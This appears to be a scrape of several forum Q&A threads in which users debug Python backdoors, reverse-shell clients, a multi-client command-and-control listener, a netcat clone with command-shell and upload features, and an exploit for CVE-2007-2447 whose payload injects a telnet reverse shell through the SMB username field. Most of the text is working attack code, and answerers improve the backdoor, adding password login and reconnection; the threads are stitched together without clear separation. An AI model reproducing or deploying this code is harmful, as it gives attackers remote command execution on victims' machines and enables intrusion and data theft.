So hello everybody, Im building a python backdoor. So when I start the netcat for listener and I start the backdoor it connects and everything but when I type ipconfig for example it says "The specified file directory cannot be found" or something like that. Here is the code:
#!/usr/bin/python
import socket
import subprocess
HOST = '192.168.1.7' # IP for remote connection
PORT = 4444 # Port for remote connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(b'\nYou are connected !\n\nConsole > ')
while 1:
data = s.recv(1024)
if data == 'quit' : break
proc = subprocess.Popen(str(data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
s.send(b'\n' + stdoutput)
# Exiting
s.send(b'\nExiting...\n')
s.close()
Try this:
Hope its not too much. I added a few features as well.
You're godamm welcome :)
#!/usr/bin/python
# Import the required librarys for the job
import subprocess
import socket
import os
# Set variables used in the script
HOST = '10.0.0.98' # IP for remote connection
PORT = 4444 # Port for remote connection
PASS = 'Te$t!2#456' # For making the script secure
# Create the socket that will be used
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# This method will be used for handling the exit when you type -quit
def Quit():
s.send(' [<] Hope to see you soon :)\n')
s.close()
Connect()
# This method will wait until the connection is alive
def Connect():
s.connect((HOST, PORT))
s.send('''\n
+--------------------+
| You are connected! |
+--------------------+
| X IS Something err!! |
| < IS Incomming!! |
| > IS Outgoing!! |
+--------------------+
''')
Login()
# Ask for login; if they do not get it right it will ask again ect ect etc
def Login():
s.send(' [>] Please login #>> ')
pwd = s.recv(1024)
if pwd.strip() == PASS:
Shell()
else:
s.send(' [X] Incorrect Login!!\n')
Login()
# Main method -- Hope I'm not pissing you off by calling it a method, I'm used to C# lol ;)
def Shell():
s.send(' [<] We\'re in :)\n [>]-{ ' + os.curdir + ' } Console #>> ')
while 1:
data = s.recv(1024)
# Make sure that you use '-quit'!!
if data.upper()[:5] == '-QUIT' : break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = " [<] " + proc.stdout.read() + proc.stderr.read()
s.send('\n\n' + stdoutput + '\n\n')
s.send(' [>]-{ ' + os.curdir + ' } Console #>> ')
Quit()
Connect()
Related
I'm working on a project that requires me to make a Python reverse listener that can send commands to a client that connects to my server, below is my server code and i am stuck on how to get multiple connections from more than just one client at the same time.
thank you
#!/usr/bin/python3
import socket
import sys
import time
import threading
from queue import Queue
NUMBER_OF_THREADS = 2
JOB_NUMBER = [1, 2]
queue = Queue)
all_connections = []
all_addresses = []
# create socket
def socket_create():
try:
global host
global port
global s
host = '0.0.0.0'
port = 5555
s = socket.socket()
except socket.error as msg:
print("Socket creation error: " + str(msg))
# bind socket to port and wait for connection from client
def socket_bind():
try:
global host
global port
global s
print("Binding socket to port: " + str(port))
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print("Socket binding error: " + str(msg))
time.sleep(5)
socket_bind()
# accept connections from multiple clients and save to list
def accept_connections():
for c in all_connections:
c.close()
del all_connections[:]
del all_addresses[:]
while 1:
try:
conn, address = s.accept()
conn.setblocking(1)
all_connections.append(conn)
all_addresses.append(address)
print("\nConnection has been established: " + address[0])
except:
print("Error accepting connections")
# interactive prompt
def start_luka():
while True:
cmd = input('luka> ')
if cmd == 'list':
list_connections()
elif 'select' in cmd:
conn = get_target(cmd)
if conn is not None:
send_target_commands(conn)
else:
print("Command not recognized")
# displays all current connections
def list_connections():
results = ''
for i, conn in enumerate(all_connections):
try:
conn.send(str.encode(' '))
conn.recv(20480)
except:
del all_connections[i]
del all_addresses[i]
continue
results += str(i) + ' ' + str(all_addresses[i][0]) + ' ' + str(all_addresses[i][1]) + '\n'
print('------ Clients -----' + '\n' + results)
def main():
socket_create()
socket_bind()
start_luka()
list_connections()
accept_connections()
main()
when i run this code it doesn't say the connection is established and it doesn't add the connection to the list i created.
and lastly i'm trying to make all of this automated, as in, the second a client connects to my server listener, these commands will automatically run (ls, pwd, IP a...ect) and a file would be created to store all the data so i can check it out later. not sure where to start on that.
thanks for helping
I set up a python script to connect two computers with sockets and am trying to run commands from terminal. The script will hopefully run the commands on the host onto the client but it doesnt recognize any commands. My code for the server is
import socket
HOST = '0.0.0.0'
PORT = 12345
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((HOST, PORT))
server_socket.listen(5)
print("\n[*] Listening on port " +str(PORT)+ ", waiting for connexions.")
client_socket, (client_ip, client_port) = server_socket.accept()
print("[*] Client " +client_ip+ " connected.\n")
while True:
try:
command = input(client_ip+ ">")
if(len(command.split()) != 0):
client_socket.send(bytes(command, 'utf-8'))
else:
continue
except(EOFError):
print("Invalid input, type 'help' to get a list of implemented commands.\n")
continue
if(command == "quit"):
break
data = client_socket.recv(1024)
print((data + b"\n"))
client_socket.close()
and the client is
import socket
import subprocess, os
HOST = ''
PORT = 12345
connexion_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connexion_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
connexion_socket.connect((HOST, PORT))
print('\n[*] Connected to " +HOST+ " "on port" +str(PORT+) ".\n"')
while True:
command = str(connexion_socket.recv(1024))
split_command = command.split()
print('Received command : ' +command)
if command == 'quit':
break
if(command.split()[0] == 'cd'):
if len(command.split()) == 1:
connexion_socket.send((os.getcwd()))
elif len(command.split()) == 2:
try:
os.chdir(command.split()[1])
connexion_socket.send(('Changed Directory to' + os.getcwd()))
except:
connexion_socket.send(str.encode('No such directory : ' +os.getcwd()))
else:
proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
print(str(stdout_value) + '\n')
if(stdout_value != ''):
connexion_socket.send(stdout_value)
else:
connexion_socket.send(command+ ' does not return anything')
Whenever I try to run a command like 'ipconfig' or 'cd' i get the error
"is not recognized as an internal or external command,\r\noperable program or batch file.\r\n\n"
Any help is appreciated, Thanks!
Recently I've been creating a Python implementation of the Metasploit module for CVE2007-2447, I found a basic script online which I took some parts of then decided that I wanted to build the listener into the script so that I wouldn't have to run Netcat alongside the Python script.
import sys
import time
import socket
import threading
from smb.SMBConnection import SMBConnection
def exploit(rHost, rPort, lHost, lPort):
print("[+] " + rHost, rPort, lHost, lPort)
payload = 'sh -c(sleep 4535 | telnet ' + lHost + " " + lPort + ' | while : ; do sh && break; done 2>&1 | telnet ' + lHost + " " + lPort + ' >/dev/null 2>&1 &)'
username = "/=`nohup " + payload + "`"
password = ""
print("[+] " + username + password)
s = SMBConnection(username, password, "", "", use_ntlm_v2 = True)
#try:
s.connect(rHost, int(rPort), timeout=1)
print("[+] Payload sent!")
handler(shell)
#except Exception as e:
# print(e)
# print("[*] Fail!")
def handler(shell):
(conn, address) = shell.accept()
print("[+] Connected to " + address)
commandSender(conn)
conn.close()
def commandSender(conn):
shell_status = True
shell_recv_thread = threading.Thread(target=recvStream, args=(conn, shell_status))
shell_recv_thread.start()
command = ''
while shell_status == True:
command = input()
if command == "exit":
shell_status = False
conn.close()
shell_recv_thread.join()
sys.exit(0)
conn.send(bytes(command + "\n", "utf-8"))
def recvStream(conn, addr, status):
status = True
while status == True:
try:
print(conn.recv(1024))
except conn.timeout:
pass
except Exception as e:
print(e)
print("[*] Failed Shell Interaction...")
if __name__ == '__main__':
print("[*] CVE2007-2447")
if len(sys.argv) != 5:
print("[-] usage: <RHOST> <RPORT> <LHOST> <LPORT>")
else:
print("[+] Exectuting...")
shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.bind((sys.argv[3], int(sys.argv[4])))
shell.listen(10)
rHost = sys.argv[1]
rPort = sys.argv[2]
lHost = sys.argv[3]
lPort = sys.argv[4]
exploit(rHost, rPort, lHost, lPort)
As you can see the script for this exploit is fairly simple, due to unsanitized user input an attacker can send commands to the affected device in the username field. I've checked Netstat while I run the script & I can see that my machine is definitely listening on the port I specify for lPort yet for some reason the socket seems to fail to accept the connection. In order to test the code I am running it inside a Ubuntu VM against Metasploitable 2 which is running in a separate VM on the same subnet.
I am playing around with a little netcat tool of my own, but I keep getting "Connection refused" and a reference to a specific line, I've highlighted that below.
First I run the server, with the following command:
python Netstatx.py -l -p 9999 -c
Then I run the "client" which tries to make a connection to the server, which is listening on port 9999:
python Netstatx.py -t localhost -p 9999
As mentioned, the above gives me an "Connected refused"-exception, how come?
import sys
import socket
import getopt
import threading
import subprocess
# Define globals
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print "Netstatx - Net Tool for your convenience"
print
print "Usage: Netstatx.py -t target_host -p port"
print "-l --listen - Listen on [host]:[port] for
incoming connections"
print "-e --execute=file_to_run - Execute the given file upon
receiving a connection"
print "-c --command - Initialize a command shell"
print "-u --upload=destination - Upon receiving connection,
upload a file and write to
[destination]"
print
print
print "Examples: "
print "Netstatx.py -t 192.168.0.1 -p 5555 -l -c"
print "Netstatx.py -t 192.168.0.1 -p 5555 -l -u=\\target.exe"
print "Netstatx.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
sys.exit(0)
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "%s:%s" % (target, port)
# Connect to our target host
**client.connect((target, port))** <-- This is failing.
if len(buffer):
client.send(buffer)
while True:
# Now wait for data back
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print response,
# Wait for more input
buffer = raw_input("")
buffer += "\n"
# Send it off
client.send(buffer)
def server_loop():
global target
# If no target is defined, we listen on all interfaces
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# Spin off a thread to handle our new client
client_thread = threading.Thread(target=client_handler,
args=(client_socket,))
client_thread.start()
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
# Read the commandline options
try:
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
["help","listen","execute","target","port","command",
"upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False, "Unhandled option!"
# Are we going to listen or just send data?
# if not listen and len(target) and port > 0
# Read in the buffer from the commandline
# this will block, so send CTRL-D if not sending input
# to stdin
buffer = sys.stdin.read()
# Send data off
client_sender(buffer)
# We are going to listen and potentially
# upload things, execute commands, and drop a shell back
# depending on our command line options above
if listen:
server_loop()
main()
def run_command(command):
# trim the newline
command = command.rstrip()
# Run the command and get the output back
try:
output = subprocess.check_output(command,
stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command. \r\n"
# Send the output back to the client return output
return output
def client_handler(client_socket):
global upload
global execute
global command
# Check for upload
if len(upload_destination):
# Read on all of the bytes and write to our destination
file_buffer = ""
# Keep reading data until none is available
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
# Now we take these bytes and try to write them out
try:
file_descriptor = open(upload_destination, "wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
# Acknowledge that we rote the file out
client_socket.send("Successfully saved file to %s\r\n" %
upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" %
upload_destination)
# Check for command execution
if len(execute):
# Run the command
output = run_command(execute)
client_socket.send(output)
# Now we go into another loop if a command shell was requested
if command:
while True:
# Show a simple prompt
client_socket.send("<Netstatx:#> ")
# Now we receive until we see a linefeed (enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# Send back the command output
response = run_command(cmd_buffer)
# Send back the response
client_socket.send(response)
import sys
import socket
import getopt
import threading
import subprocess
#define some global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print "Net Tool"
print
print "Usage : netcat.py -t target_host -p port"
print "-l --listen -listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run -execute the given file upon receiving a connection "
print "-c --command -intialize a command shell"
print "-u --upload=destination -upon receiving connection upload a file and write to [destination]"
print
print
print "Examples : "
print "netcat.py -t 192.168.0.1 -p 5555 -l -c"
print "netcat.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "netcat.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEEGHI' | ./netcat.py -t 192.168.11.12 -p 135"
sys.exit(0)
def run_command(command):
#trim the newline
command= command.rstrip()
#run the command get the output back
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n"
#send the output back to the client
return output
def client_handler(client_socket):
global upload
global execute
global command
#check for upload
if len(upload_destination):
#read in all of the bytes and write to our destination
file_buffer= ""
#keep reading data until none is available
while True:
data= client.socket.recv(1024)
if not data:
break
else:
file_buffer += data
#now we take these bytes and try to write them out
try:
file_descriptor=open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
#aknowledg that we wrote the file out
client_socket.send("Successfully saved file to %s \r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s \r\n" % upload_destination)
# check for command execution
if len(execute):
# run the command
output = run_command(execute)
client_socket.send(output)
# now we go into another loop if a command shell was requested
if command:
while True:
# show a simple prompt
client_socket.send("<BHP:#> ")
# now we receive until we see a linefeed (enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# send back the command output
response = run_command(cmd_buffer)
# send back the response
client_socket.send(response)
def client_sender(buffer):
client= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
#connect to our target host
client.connect((target,port))
if len(buffer):
client.send(buffer)
while True:
#now wait for data back
recv_len=1
response=""
while recv_len:
data = client.recv(4096)
recv_len= len(data)
response+=data
if recv_len<4096:
break
print response,
#wait for more input
buffer = raw_input("")
buffer+= "\n"
# send it off
client.send(buffer)
except:
print "[*] Exception! Exiting."
client.close()
def server_loop():
global target
#if no target is defined , we listen on all interfaces
if not len(target):
target ="0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
#spin off a thread to handl our new client
client_thread= threading.Thread(target=client_handler, args=(client_socket,))
client_thread.start()
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
#read the commandline options
try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu",["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l","--listen"):
listen=True
elif o in ("-e", "--execute"):
execute =a
elif o in ("-c", "--commandshell"):
command= True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target =a
elif o in ("-p", "--port"):
port=int(a)
else :
assert False, "unhandled option"
# are we going to listen or just send data from stdin?
if not listen and len(target) and port> 0 :
#read in the buffer from the cmdline
#this will block, so send CTRL-D if not sending input
#to stdin
buffer = sys.stdin.read()
client_sender(buffer)
#we are goin to listen and potentially
#upload things, execute commands, and drop a shell back
#depending on our command line options above
if listen :
server_loop()
main()
I found some syntax errors running out your script ( it may be just from copy past), any way i did my small edits and it's working (knowing i'm under linux)
Your problem may be the firewall is refusing connection on that port, try to check it out
I keep getting this:
Traceback (most recent call last):
File "C:\Users\T_Mac\Desktop\Rex's Stuff\PyNet\Client.py", line 14, in <module
>
server.connect(ADDRESS)
File "C:\Python27\lib\socket.py", line 224, in meth
return getattr(self._sock,name)(*args)
File "C:\Python27\lib\socket.py", line 170, in _dummy
raise error(EBADF, 'Bad file descriptor')
socket.error: [Errno 9] Bad file descriptor
When I run 'changeclient' with this code as my server:
# Server
from socket import *
PORT = 5000
BUFSIZE = 1024
ADDRESS = ('', PORT) # '' = all addresses.
server = socket(AF_INET, SOCK_STREAM)
server.bind(ADDRESS)
server.listen(5)
# print stuff the user needs to know
print ''
print ' ____ _____ ___ _______ '
print ' / \ | | / \ /____\ | '
print '| | | | | | | | '
print ' \____/ \____/| | | \____/ | v0.1'
print ' | | '
print ' | | '
print ' | | '
print ' | _____/ '
print 'Contact Rex for any bug reports at rexploits#gmail.com'
print '\n'
print 'Please input the command when prompted with \'>\''
print 'The stdout stuff will be in this format: '
print ' (<stdout>, <stderr>)\n'
while True:
END_SCRIPT = 0 #Setting command to something other than '1'
print '\nWaiting for connections...'
client, address = server.accept()
print '...client connected from ', address[0], '\n'
while True:
command = raw_input('> ')
if command == 'quit':
server.close()
END_SCRIPT = 1
break
elif command == 'exit':
server.close()
END_SCRIPT = 1
break
elif command == 'changeclient':
print 'Changing clients.....\n'
client.send(command)
break
else:
client.send(command)
commandJazz = client.recv(BUFSIZE)
print commandJazz
if END_SCRIPT == 1:
print 'Closing server......'
print 'Goodbye!'
break
server.close()
And this as my Client:
# client
from subprocess import *
from socket import *
import time
test = 0
PORT = 5000
IP = 'localhost' #To change it to your ip, delete 'raw_input('> ')' and put your IP in its place.
BUFSIZE = 1024
ADDRESS = (IP, PORT)
server = socket(AF_INET, SOCK_STREAM)
while True:
server.connect(ADDRESS)
while True:
command = server.recv(BUFSIZE)
if command == 'changeclient':
server.close()
test = 1
break
else:
executeIt = Popen(command, shell = True, stdin = PIPE, stdout = PIPE, stderr = STDOUT)
commandJazz = executeIt.communicate()
strCommandJazz = str(commandJazz)
server.send(strCommandJazz)
I run my server, then run two instances of my client. It connects fine and everything works fine. I have built in a command called changeclient to disconnect the current client and connect to another. Whenever I execute changeclient, I get the previously posted error on my client.
When you close your socket, dont reuse it. Create a new one:
server = socket(AF_INET, SOCK_STREAM)
server.connect(ADDRESS)
Right now you are trying to reconnect on the same socket instance.
You could also try to use a flag that tells the socket to reuse the port when you reopen it instead of creating a new one.
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)